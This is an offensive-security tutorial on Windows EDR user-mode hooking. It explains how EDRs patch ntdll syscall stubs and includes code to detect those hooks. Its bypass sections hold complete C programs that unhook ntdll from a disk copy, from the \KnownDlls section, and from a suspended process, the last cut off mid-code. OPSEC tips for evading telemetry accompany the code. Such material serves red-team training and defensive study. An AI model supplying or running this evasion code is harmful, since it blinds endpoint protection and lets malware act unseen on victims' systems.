Legend:
[HOOK]= Hooking technique |[BYPASS]= Bypass method |[DETECT]= Detection vector |[OPSEC]= Operational Security note |[TOOL]= Tool reference |[MITRE]= ATT&CK mapping |[ASM]= Assembly / low-level detail |[KERNEL]= Kernel-mode concept
1. What is User-Mode Hooking?
What it means: When an EDR (Endpoint Detection and Response) product installs itself on a system, it injects a DLL into every running process. That DLL modifies the in-memory code of critical Windows system functions — before those functions can reach the kernel — so that execution is redirected to the EDR's analysis code first.
The historical context:
Pre-PatchGuard Era (Windows XP/Vista):
└─ EDRs hooked the SSDT (System Service Descriptor Table) in kernel
├─ All Nt/Zw calls passed through the SSDT
└─ EDR could inspect every kernel transition centrally
Post-PatchGuard (Windows 7+):
└─ Microsoft introduced PatchGuard — SSDT modifications crash the system
├─ Kernel-mode hooking mostly off limits
└─ EDRs moved to USER-MODE hooking in ntdll.dll as the answer
Why ntdll.dll is the interception point:
Windows API Call Stack (simplified):
Application Code
│
▼
Win32 API (kernel32.dll, user32.dll, advapi32.dll)
│ — High-level abstractions — CreateFile, WriteFile, etc.
▼
Native API (ntdll.dll) ◄─── EDR HOOKS GO HERE
│ — Nt* / Zw* functions — NtCreateFile, NtWriteVirtualMemory
▼
syscall / sysenter instruction
│ — Transition from Ring 3 → Ring 0
▼
Kernel (ntoskrnl.exe)
│ — System Service Descriptor Table (SSDT)
└─ Actual kernel implementation runs
Why ntdll is the perfect EDR hook point: - Every application eventually calls ntdll — no matter which high-level API it uses - ntdll is the last user-mode code before entering the kernel - Hooking here gives visibility into all native API calls regardless of which library called them
What the EDR hooks (common targets):
| Function | Purpose | Why EDR hooks it |
|---|---|---|
NtAllocateVirtualMemory |
Allocate memory | Shellcode allocation |
NtWriteVirtualMemory |
Write to remote process | Process injection |
NtCreateThreadEx |
Create remote thread | Remote code execution |
NtProtectVirtualMemory |
Change memory protection | RW→RX = shellcode prep |
NtOpenProcess |
Get handle to process | LSASS dumping, injection |
NtCreateFile |
Create/open files | Ransomware, exfil |
NtQueueApcThread |
Queue APC | APC injection |
NtMapViewOfSection |
Map section into process | DLL injection, PE loading |
NtLoadDriver |
Load kernel driver | BYOVD attacks |
LdrLoadDll |
Load a DLL | DLL hijacking detection |
[MITRE] T1055 — Process Injection. Most hooked functions are injection-related. [MITRE] T1562.001 — Impair Defenses: Disable or Modify Tools. Unhooking is covered here.
2. Windows API Call Chain — How EDRs Intercept Calls
What it means: Understanding the exact call chain from your code to the kernel is essential before any bypass. Every function call passes through multiple layers, and EDRs install their interception at the ntdll layer.
2.1 Full Call Chain (x64, Windows 10/11)
Your Code:
VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
│
▼
kernel32.dll → VirtualAllocEx()
— Thin wrapper, validates params, adjusts flags
— Calls kernelbase.dll internally
│
▼
kernelbase.dll → VirtualAllocEx() / NtVirtualAllocateMemory()
— Another wrapper layer
│
▼
ntdll.dll → NtAllocateVirtualMemory() ◄──── EDR JMP HOOK HERE
┌───────────────────────────────────────────┐
│ ORIGINAL BYTES (before EDR): │
│ 4C 8B D1 mov r10, rcx │
│ B8 18 00 00 00 mov eax, 0x18 (SSN) │
│ 0F 05 syscall │
│ C3 ret │
└───────────────────────────────────────────┘
┌───────────────────────────────────────────┐
│ PATCHED BYTES (after EDR hooks): │
│ E9 XX XX XX XX jmp <EDR hook> │ ← Hook!
│ B8 18 00 00 00 mov eax, 0x18 │ (trailing bytes unchanged)
│ 0F 05 syscall │
│ C3 ret │
└───────────────────────────────────────────┘
│
▼ (JMP redirects here)
EDR's DLL (e.g., CrowdStrike's csagent.dll, SentinelOne's InProcessClient.dll)
— Inspects call parameters
— Checks call stack (where did this call come from?)
— Runs heuristics / behavioral analysis
— Decision: ALLOW or BLOCK
│
▼ (if allowed)
Executes overwritten instructions (saved in trampoline)
JMP back to ntdll just after the hook (instruction +5)
│
▼
syscall instruction executes → Ring 0 transition
│
▼
Kernel receives the call, executes operation
2.2 EDR DLL Injection Mechanism
How the EDR DLL gets into every process:
Method 1: AppInit_DLLs registry key
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
→ DLL loaded into every process that loads User32.dll (legacy)
Method 2: Image Load Notification (kernel callback)
→ EDR kernel driver registers PsSetLoadImageNotifyRoutine()
→ On every DLL load / process create, EDR gets a callback
→ EDR driver uses APC (Asynchronous Procedure Call) to inject its DLL
→ DLL runs DllMain, installs hooks in ntdll
Method 3: SetWindowsHookEx (legacy)
→ Injects DLL into GUI processes only (limited visibility)
Modern EDRs use Method 2 — kernel driver + APC injection into every new process.
EDR DLL is loaded BEFORE any user code runs → hooks are always in place.
3. Inline Hooking (JMP Patching) — How EDRs Do It
What it means: The most common hooking technique. The EDR overwrites the first 5 bytes of an ntdll function with a JMP instruction to redirect execution to its own handler. This is called a "trampoline" hook.
3.1 JMP Hook Anatomy
; ── BEFORE HOOK (original ntdll!NtAllocateVirtualMemory) ──────
; x64 syscall stub — standard pattern for ALL Nt* functions
4C 8B D1 mov r10, rcx ; syscall calling convention
B8 18 00 00 00 mov eax, 0x18 ; SSN (Syscall Service Number)
0F 05 syscall ; transition to kernel
C3 ret
; ── AFTER HOOK (EDR overwrites first 5 bytes) ─────────────────
E9 AB CD EF 01 jmp 0x<EDR_handler> ; ← HOOK — redirects to EDR DLL
00 00 00 00 (4 bytes = mov eax, SSN trailing)
0F 05 syscall ; still here (unused now)
C3 ret
; ── EDR TRAMPOLINE (saved by EDR to allow "pass-through") ──────
; EDR saves overwritten bytes + jump back:
4C 8B D1 mov r10, rcx ; original byte 1
B8 18 00 00 00 mov eax, 0x18 ; original byte 2
FF 25 00 00 00 00 jmp [rip+0] ; absolute JMP back to ntdll+5
<address> .quad ntdll+5 ; pointer to ntdll resume addr
3.2 Implementing a Hook (EDR Perspective — C Code)
// hook_impl.c — How an EDR installs an inline hook
// This is how the EDR DLL works — not bypass code
// Understanding this is essential before attempting bypass
#include <windows.h>
#include <stdio.h>
// ── Hook structure ────────────────────────────────────────────
typedef struct _HOOK {
LPVOID target_func; // Address in ntdll being hooked
LPVOID hook_func; // Address of our handler (in EDR DLL)
BYTE original_bytes[14]; // Saved original bytes (trampoline)
LPVOID trampoline; // Pointer to allocated trampoline
} HOOK, *PHOOK;
// ── Write JMP patch ───────────────────────────────────────────
// x64 absolute indirect JMP:
// FF 25 00 00 00 00 jmp [rip+0]
// <8-byte address>
// Total: 14 bytes (use this for absolute JMP)
// Simple near JMP: E9 xx xx xx xx (5 bytes, ±2GB range)
BOOL write_jmp_hook(LPVOID target, LPVOID destination) {
DWORD old_protect;
// ── Build JMP patch (absolute, 14 bytes) ─────────────────
BYTE patch[14] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [rip+0]
0x00, 0x00, 0x00, 0x00, // .quad (low 4)
0x00, 0x00, 0x00, 0x00 // .quad (high 4)
};
*(LPVOID*)(patch + 6) = destination; // Write destination address
// ── Make target writable ──────────────────────────────────
if (!VirtualProtect(target, 14, PAGE_EXECUTE_READWRITE, &old_protect)) {
printf("[-] VirtualProtect failed: %lu\n", GetLastError());
return FALSE;
}
// ── Write patch ───────────────────────────────────────────
memcpy(target, patch, 14);
// ── Restore permissions ───────────────────────────────────
VirtualProtect(target, 14, old_protect, &old_protect);
return TRUE;
}
// ── Build trampoline (lets EDR call original after inspection) ─
LPVOID build_trampoline(LPVOID target, BYTE* saved_bytes, DWORD saved_len) {
// Allocate RWX memory for the trampoline
LPVOID tramp = VirtualAlloc(NULL, 64,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!tramp) return NULL;
// Copy saved original bytes
memcpy(tramp, saved_bytes, saved_len);
// Append absolute JMP back to (target + saved_len)
BYTE jmp_back[14] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
*(LPVOID*)(jmp_back + 6) = (BYTE*)target + saved_len;
memcpy((BYTE*)tramp + saved_len, jmp_back, 14);
return tramp;
}
// ── Example: Hook NtAllocateVirtualMemory ─────────────────────
NTSTATUS NTAPI EDR_NtAllocateVirtualMemory_Hook(
HANDLE ProcessHandle, PVOID* BaseAddress,
ULONG_PTR ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect)
{
printf("[EDR HOOK] NtAllocateVirtualMemory called!\n");
printf(" Process: 0x%p | Size: 0x%zx | Protect: 0x%lx\n",
ProcessHandle, *RegionSize, Protect);
// Heuristic: RWX memory allocation — suspicious!
if (Protect & PAGE_EXECUTE_READWRITE) {
printf("[EDR ALERT] RWX allocation detected — possible shellcode!\n");
// return STATUS_ACCESS_DENIED; // Block it
}
// Call original via trampoline
// typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(...);
// return ((pNtAllocateVirtualMemory)trampoline)(...);
return 0; // Simplified
}
3.3 Common EDR Hook Bytes (Recognizing Hooks)
#!/usr/bin/env python3
# identify_hooks.py — Check ntdll for EDR hook patterns
import ctypes
# Typical intact (unhooked) ntdll Nt* function first bytes:
# 4C 8B D1 → mov r10, rcx
# B8 xx xx xx xx → mov eax, <SSN>
# 0F 05 → syscall
# C3 → ret
CLEAN_PROLOGUE_BYTES = bytes([0x4C, 0x8B, 0xD1, 0xB8])
# Common hook JMP patterns to look for:
HOOK_PATTERNS = {
b'\xE9': "Near JMP (5-byte hook)",
b'\xFF\x25': "Indirect JMP via RIP (14-byte absolute hook)",
b'\xCC': "INT3 breakpoint hook",
b'\x68\x00': "PUSH/RET hook",
b'\x90': "NOP sled (obfuscated hook)",
b'\x48\xB8': "MOV RAX, addr (likely stub redirect)",
}
def check_ntdll_hooks():
"""Scan ntdll exports for hook signatures."""
ntdll = ctypes.WinDLL("ntdll")
# Get ntdll base address
ntdll_base = ctypes.windll.kernel32.GetModuleHandleW("ntdll.dll")
print(f"[*] ntdll base: 0x{ntdll_base:016x}")
print(f"{'Function':<45} {'First 6 bytes':<25} {'Status'}")
print("-" * 80)
nt_functions = [
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtCreateThreadEx",
"NtProtectVirtualMemory",
"NtOpenProcess",
"NtReadVirtualMemory",
"NtQueueApcThread",
"NtCreateFile",
"NtMapViewOfSection",
"NtUnmapViewOfSection",
"NtLoadDriver",
"NtSetContextThread",
"NtSuspendProcess",
"LdrLoadDll",
]
for fn_name in nt_functions:
try:
fn_addr = ctypes.cast(
getattr(ntdll, fn_name),
ctypes.c_void_p
).value
# Read first 6 bytes
buf = (ctypes.c_byte * 6)()
ctypes.windll.kernel32.ReadProcessMemory(
ctypes.windll.kernel32.GetCurrentProcess(),
fn_addr, buf, 6, None
)
raw = bytes(ctypes.string_at(fn_addr, 6))
hex_str = " ".join(f"{b:02X}" for b in raw)
# Check for hook
status = "✓ CLEAN"
for pattern, desc in HOOK_PATTERNS.items():
if raw.startswith(pattern):
status = f"⚠ HOOKED — {desc}"
break
if raw[:4] == CLEAN_PROLOGUE_BYTES:
status = "✓ CLEAN (standard syscall stub)"
print(f"{fn_name:<45} {hex_str:<25} {status}")
except AttributeError:
print(f"{fn_name:<45} {'N/A':<25} Function not exported")
check_ntdll_hooks()
4. IAT Hooking (Import Address Table)
What it means: Instead of patching function code, some EDRs redirect IAT entries — the pointer table a PE uses to resolve imported functions. When your binary calls VirtualAlloc, it does so through an IAT entry pointing to kernel32!VirtualAlloc. An EDR can overwrite that pointer with its own handler address.
4.1 IAT Hook vs Inline Hook
IAT Hook:
PE Binary's IAT:
VirtualAlloc → 0x7FFE1234 (kernel32!VirtualAlloc)
↓
VirtualAlloc → 0x6FFF0000 (EDR handler) ← IAT entry overwritten
Weakness: Only affects this specific PE's calls
(won't catch dynamically resolved calls)
Inline Hook:
In ntdll.dll .text section:
NtAllocateVirtualMemory bytes patched with JMP
Affects ALL calls through ntdll regardless of source
Modern EDRs prefer inline hooks — broader visibility.
IAT hooks used by some as a secondary check.
4.2 IAT Hook Detection (C Code)
// iat_hook_check.c — Detect if IAT entries have been redirected
#include <windows.h>
#include <stdio.h>
void check_iat_hooks(HMODULE hModule) {
IMAGE_DOS_HEADER* dos_hdr = (IMAGE_DOS_HEADER*)hModule;
IMAGE_NT_HEADERS* nt_hdrs = (IMAGE_NT_HEADERS*)
((BYTE*)hModule + dos_hdr->e_lfanew);
IMAGE_IMPORT_DESCRIPTOR* import = (IMAGE_IMPORT_DESCRIPTOR*)
((BYTE*)hModule + nt_hdrs->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (import->Name) {
char* dll_name = (char*)((BYTE*)hModule + import->Name);
IMAGE_THUNK_DATA* iat = (IMAGE_THUNK_DATA*)
((BYTE*)hModule + import->FirstThunk);
while (iat->u1.Function) {
HMODULE hOwner = NULL;
// Find which module owns this function pointer
GetModuleHandleExA(
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS |
GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
(LPCSTR)iat->u1.Function, &hOwner
);
char owner_name[MAX_PATH] = {0};
GetModuleFileNameA(hOwner, owner_name, MAX_PATH);
// If IAT entry points outside the expected DLL — possible hook!
if (!strstr(owner_name, dll_name)) {
printf("[!] IAT HOOK DETECTED:\n");
printf(" Import from: %s\n", dll_name);
printf(" Points to: %s (0x%p)\n",
owner_name, (LPVOID)iat->u1.Function);
}
iat++;
}
import++;
}
}
5. Detecting EDR Hooks — From Inside the Process
What it means: Before attempting any bypass, enumerate what's actually hooked in your process. This tells you exactly which functions the EDR is monitoring and which bypass technique is appropriate.
5.1 Enumerate All Hooks via Disk Comparison
// hook_detector.c — Compare ntdll in memory vs clean copy on disk
// Differences = hooks installed by EDR
#include <windows.h>
#include <stdio.h>
typedef struct {
char func_name[128];
DWORD func_rva;
BYTE mem_bytes[6]; // Current in-memory bytes
BYTE disk_bytes[6]; // Original from-disk bytes
BOOL is_hooked;
} HOOK_ENTRY;
// Load ntdll from disk (avoiding hooked in-memory copy)
LPVOID load_ntdll_from_disk() {
HANDLE hFile = CreateFileW(
L"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL
);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
HANDLE hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
CloseHandle(hFile);
if (!hMap) return NULL;
LPVOID view = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMap);
return view; // Returns ntdll mapped as-if loaded — correct VAs
}
void find_hooks() {
// Get in-memory (potentially hooked) ntdll
HMODULE ntdll_mem = GetModuleHandleA("ntdll.dll");
// Get clean disk copy
LPVOID ntdll_disk = load_ntdll_from_disk();
if (!ntdll_disk) {
printf("[-] Failed to load ntdll from disk\n");
return;
}
// Parse exports from the in-memory copy (exports not patched by EDR)
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)ntdll_mem;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)ntdll_mem + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(
(BYTE*)ntdll_mem + nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)ntdll_mem + exp->AddressOfNames);
WORD* ordinals = (WORD* )((BYTE*)ntdll_mem + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)ntdll_mem + exp->AddressOfFunctions);
printf("%-45s %-25s %-25s %s\n",
"Function", "Memory Bytes", "Disk Bytes", "Status");
printf("%s\n", "─────────────────────────────────────────────────────────────────────────────────────────────────────");
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)((BYTE*)ntdll_mem + names[i]);
// Only check Nt* functions (EDR primary targets)
if (strncmp(name, "Nt", 2) != 0) continue;
DWORD rva = funcs[ordinals[i]];
// Get pointer to function in memory and on disk
BYTE* mem_ptr = (BYTE*)ntdll_mem + rva;
BYTE* disk_ptr = (BYTE*)ntdll_disk + rva;
// Compare first 6 bytes
BOOL hooked = memcmp(mem_ptr, disk_ptr, 6) != 0;
if (hooked) {
printf("%-45s ", name);
printf("MEM: ");
for (int j = 0; j < 6; j++) printf("%02X ", mem_ptr[j]);
printf(" DISK: ");
for (int j = 0; j < 6; j++) printf("%02X ", disk_ptr[j]);
printf(" ← HOOKED");
// Identify hook type
if (mem_ptr[0] == 0xE9)
printf(" (near JMP)");
else if (mem_ptr[0] == 0xFF && mem_ptr[1] == 0x25)
printf(" (indirect JMP)");
else if (mem_ptr[0] == 0xCC)
printf(" (INT3 breakpoint)");
printf("\n");
}
}
UnmapViewOfFile(ntdll_disk);
}
5.2 Quick Hook Check (Python via ctypes)
#!/usr/bin/env python3
# quick_hook_check.py — Run on Windows Python to check your process
import ctypes, ctypes.wintypes, subprocess, os, sys
def read_mem(addr, size):
buf = (ctypes.c_char * size)()
bytes_read = ctypes.c_size_t(0)
ctypes.windll.kernel32.ReadProcessMemory(
ctypes.windll.kernel32.GetCurrentProcess(),
ctypes.c_void_p(addr), buf, size,
ctypes.byref(bytes_read)
)
return bytes(buf)
ntdll = ctypes.windll.ntdll
NT_FUNCS = [
"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
"NtCreateThreadEx", "NtProtectVirtualMemory",
"NtOpenProcess", "NtReadVirtualMemory",
"NtQueueApcThread", "NtCreateFile",
"NtMapViewOfSection", "LdrLoadDll",
"NtSetContextThread", "NtSuspendProcess",
]
CLEAN_START = bytes([0x4C, 0x8B, 0xD1]) # mov r10, rcx — standard stub start
print(f"{'Function':<40} {'Bytes':25} {'Status'}")
print("-" * 80)
for fn in NT_FUNCS:
try:
addr = ctypes.cast(getattr(ntdll, fn), ctypes.c_void_p).value
b = read_mem(addr, 6)
hex_str = " ".join(f"{x:02X}" for x in b)
if b[:3] == CLEAN_START:
status = "✓ CLEAN"
elif b[0] == 0xE9:
status = "⚠ HOOKED (near JMP)"
elif b[:2] == bytes([0xFF, 0x25]):
status = "⚠ HOOKED (abs JMP)"
elif b[0] == 0xCC:
status = "⚠ HOOKED (INT3)"
else:
status = "? UNKNOWN"
print(f"{fn:<40} {hex_str:<25} {status}")
except:
print(f"{fn:<40} {'N/A':25} Not found")
6. Bypass 1 — ntdll Unhooking (Disk Copy)
What it means: Load a fresh, unhooked copy of ntdll.dll directly from disk. Compare its .text section (which contains the Nt* stubs) to the hooked in-memory version. Overwrite the hooked .text section with the clean bytes from disk. All EDR hooks are instantly removed.
Strategy:
1. Open ntdll.dll from C:\Windows\System32\ntdll.dll as a file
2. Map it into memory (SEC_IMAGE — preserves correct VA layout)
3. Find .text section in both: disk copy and in-memory (hooked) copy
4. VirtualProtect: make in-memory .text writable
5. memcpy: overwrite hooked .text with clean disk bytes
6. VirtualProtect: restore PAGE_EXECUTE_READ
7. All hooks removed — EDR is now blind in this process
6.1 Full Implementation (C)
// unhook_disk.c — Restore ntdll .text section from clean disk copy
// All EDR hooks in ntdll are removed after this runs
#include <windows.h>
#include <stdio.h>
// ── Find a PE section by name ──────────────────────────────────
IMAGE_SECTION_HEADER* find_section(LPVOID base, const char* name) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)base + dos->e_lfanew);
IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, name, strlen(name)) == 0)
return &sec[i];
}
return NULL;
}
BOOL unhook_ntdll_from_disk() {
HMODULE ntdll_base = GetModuleHandleA("ntdll.dll");
if (!ntdll_base) {
printf("[-] Failed to get ntdll handle\n");
return FALSE;
}
// ── Step 1: Open ntdll on disk ─────────────────────────────
HANDLE hFile = CreateFileW(
L"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] CreateFile failed: %lu\n", GetLastError());
return FALSE;
}
// ── Step 2: Map with SEC_IMAGE (loads like loader would) ────
HANDLE hMap = CreateFileMappingW(
hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL
);
CloseHandle(hFile);
if (!hMap) {
printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
return FALSE;
}
LPVOID ntdll_disk = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMap);
if (!ntdll_disk) {
printf("[-] MapViewOfFile failed: %lu\n", GetLastError());
return FALSE;
}
printf("[*] Loaded clean ntdll from disk at: 0x%p\n", ntdll_disk);
// ── Step 3: Find .text section in both copies ───────────────
IMAGE_SECTION_HEADER* clean_sec = find_section(ntdll_disk, ".text");
IMAGE_SECTION_HEADER* hooked_sec = find_section(ntdll_base, ".text");
if (!clean_sec || !hooked_sec) {
printf("[-] Failed to find .text section\n");
UnmapViewOfFile(ntdll_disk);
return FALSE;
}
LPVOID clean_text = (BYTE*)ntdll_disk + clean_sec->VirtualAddress;
LPVOID hooked_text = (BYTE*)ntdll_base + hooked_sec->VirtualAddress;
SIZE_T text_size = clean_sec->Misc.VirtualSize;
printf("[*] Hooked .text: 0x%p (size: 0x%zx)\n", hooked_text, text_size);
printf("[*] Clean .text: 0x%p\n", clean_text);
// ── Step 4: Remove write protection on hooked .text ─────────
DWORD old_protect;
if (!VirtualProtect(hooked_text, text_size,
PAGE_EXECUTE_READWRITE, &old_protect)) {
printf("[-] VirtualProtect (RWX) failed: %lu\n", GetLastError());
UnmapViewOfFile(ntdll_disk);
return FALSE;
}
// ── Step 5: Copy clean bytes over hooked bytes ───────────────
memcpy(hooked_text, clean_text, text_size);
printf("[*] Clean .text copied over hooked .text\n");
// ── Step 6: Restore protection ────────────────────────────────
VirtualProtect(hooked_text, text_size, old_protect, &old_protect);
UnmapViewOfFile(ntdll_disk);
printf("[+] ntdll unhooked successfully — EDR is now blind\n");
return TRUE;
}
int main() {
unhook_ntdll_from_disk();
return 0;
}
[DETECT] EDR detection of disk-based unhooking: Some EDRs monitor CreateFile calls on ntdll.dll from non-system processes. They also detect VirtualProtect calls on ntdll's .text section (changing it writable is a strong IOC) and then re-hook after detecting the unhook. Use the KnownDlls method (§7) or indirect syscalls for the VirtualProtect call.
7. Bypass 2 — ntdll Unhooking (KnownDlls)
What it means: Windows caches DLL files in kernel memory under \KnownDlls\. This is a section object backed by the original, clean DLL file. By opening \KnownDlls\ntdll.dll as a section and mapping it, you get a clean ntdll without touching the disk at all — no file I/O telemetry.
KnownDlls mechanism:
\KnownDlls\ntdll.dll → kernel section object
├─ Backed by original ntdll.dll file
├─ Shared read-only across all processes
├─ Never modified by EDRs (they hook the loaded copy, not this)
└─ Open via NtOpenSection → NtMapViewOfSection → clean copy
7.1 Unhook via KnownDlls (C)
// unhook_knowndlls.c — Get clean ntdll from \KnownDlls\ (no disk I/O)
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI* pNtOpenSection)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
typedef NTSTATUS (NTAPI* pNtMapViewOfSection)(
HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T,
PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
typedef void (NTAPI* pRtlInitUnicodeString)(
PUNICODE_STRING, PCWSTR);
IMAGE_SECTION_HEADER* find_section_hdr(LPVOID base, const char* name) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)base + dos->e_lfanew);
IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
if (!memcmp(sec[i].Name, name, strlen(name))) return &sec[i];
return NULL;
}
BOOL unhook_ntdll_knowndlls() {
HMODULE ntdll_hooked = GetModuleHandleA("ntdll.dll");
// ── Resolve needed functions from ntdll (still works pre-hook) ─
pNtOpenSection fpNtOpenSection = (pNtOpenSection)
GetProcAddress(ntdll_hooked, "NtOpenSection");
pNtMapViewOfSection fpNtMapViewOfSection = (pNtMapViewOfSection)
GetProcAddress(ntdll_hooked, "NtMapViewOfSection");
pRtlInitUnicodeString fpRtlInitUnicodeString = (pRtlInitUnicodeString)
GetProcAddress(ntdll_hooked, "RtlInitUnicodeString");
// ── Open \KnownDlls\ntdll.dll section ──────────────────────
UNICODE_STRING us_ntdll;
OBJECT_ATTRIBUTES oa;
HANDLE h_section = NULL;
fpRtlInitUnicodeString(&us_ntdll, L"\\KnownDlls\\ntdll.dll");
InitializeObjectAttributes(&oa, &us_ntdll, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = fpNtOpenSection(&h_section, SECTION_MAP_READ, &oa);
if (!NT_SUCCESS(status)) {
printf("[-] NtOpenSection failed: 0x%lx\n", status);
return FALSE;
}
// ── Map the clean ntdll section into current process ────────
PVOID ntdll_clean = NULL;
SIZE_T view_size = 0;
status = fpNtMapViewOfSection(
h_section, GetCurrentProcess(),
&ntdll_clean, 0, 0, NULL, &view_size,
1 /*ViewShare*/, 0, PAGE_READONLY
);
CloseHandle(h_section);
if (!NT_SUCCESS(status)) {
printf("[-] NtMapViewOfSection failed: 0x%lx\n", status);
return FALSE;
}
printf("[*] Clean ntdll from KnownDlls mapped at: 0x%p\n", ntdll_clean);
// ── Find .text section in both ──────────────────────────────
IMAGE_SECTION_HEADER* clean_sec = find_section_hdr(ntdll_clean, ".text");
IMAGE_SECTION_HEADER* hooked_sec = find_section_hdr(ntdll_hooked, ".text");
if (!clean_sec || !hooked_sec) return FALSE;
LPVOID clean_text = (BYTE*)ntdll_clean + clean_sec->VirtualAddress;
LPVOID hooked_text = (BYTE*)ntdll_hooked + hooked_sec->VirtualAddress;
SIZE_T text_size = clean_sec->Misc.VirtualSize;
// ── Overwrite hooked .text ───────────────────────────────────
DWORD old_prot;
VirtualProtect(hooked_text, text_size, PAGE_EXECUTE_READWRITE, &old_prot);
memcpy(hooked_text, clean_text, text_size);
VirtualProtect(hooked_text, text_size, old_prot, &old_prot);
UnmapViewOfFile(ntdll_clean);
printf("[+] ntdll unhooked via KnownDlls — no disk I/O\n");
return TRUE;
}
[OPSEC] KnownDlls is stealthier than disk read because it generates no file I/O telemetry. However, the VirtualProtect call on ntdll's .text section is still a red flag. Use indirect syscalls (§12) for the VirtualProtect call itself.
8. Bypass 3 — Perun's Fart (Suspended Process)
What it means: Perun's Fart (named after a Slavic deity) avoids reading from disk entirely. Spawn a new process in a suspended state, read a clean copy of ntdll from that process's memory (the suspended process has a clean ntdll before any EDR DLL has been injected), then use that clean copy to unhook your own process.
Why it works:
1. New process created → Windows loads ntdll (always first DLL loaded)
2. Process starts suspended → EDR's DLL injection hasn't happened yet
3. At this brief window: the new process's ntdll is CLEAN
4. NtReadVirtualMemory → extract clean ntdll from suspended process
5. Use clean bytes to unhook own process
6. Terminate/resume the suspended process
No disk I/O → No file read telemetry for ntdll
8.1 Perun's Fart Implementation (C)
// peruns_fart.c — Unhook ntdll via fresh suspended process
// Based on Sektor7 / reenz0h technique
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
IMAGE_SECTION_HEADER* find_text_section(LPVOID base) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)base + dos->e_lfanew);
IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
if (!memcmp(sec[i].Name, ".text", 5)) return &sec[i];
return NULL;
}
BOOL peruns_fart_unhook() {
// ── Step 1: Find a benign exe to spawn (use svchost / cmd) ─
wchar_t target_exe[MAX_PATH];
GetSystemDirectoryW(target_exe, MAX_PATH);
wcscat_s(target_exe, MAX_PATH, L"\\notepad.exe");
// ── Step 2: Spawn process SUSPENDED ────────────────────────
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
if (!CreateProcessW(
target_exe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf("[-] CreateProcessW failed: %lu\n", GetLastError());
return FALSE;
}
printf("[*] Suspended process spawned. PID: %lu\n", pi.dwProcessId);
// ── Step 3: Get ntdll base in remote process ─────────────
// ntdll is always at same base address (ASLR doesn't apply to ntdll
// across processes — it's the same mapping via SEC_IMAGE sharing)
HMODULE local_ntdll = GetModuleHandleA("ntdll.dll");
LPVOID remote_ntdll_base = local_ntdll; // Same VA (shared section)
// ── Step 4: Get ntdll size from local copy ─────────────────
MODULEINFO mi = {0};
GetModuleInformation(
GetCurrentProcess(), local_ntdll, &mi, sizeof(mi)
);
SIZE_T ntdll_size = mi.SizeOfImage;
printf("[*] ntdll size: 0x%zx\n", ntdll_size);
// ── Step 5: Allocate buffer and read clean ntdll ──────────
LPVOID clean_ntdll = VirtualAlloc(
NULL, ntdll_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
if (!clean_ntdll) {
TerminateProcess(pi.hProcess, 0);
return FALSE;
}
SIZE_T bytes_read = 0;
if (!ReadProcessMemory(
pi.hProcess, remote_ntdll_base,
clean_ntdll, ntdll_size, &bytes_read))
{
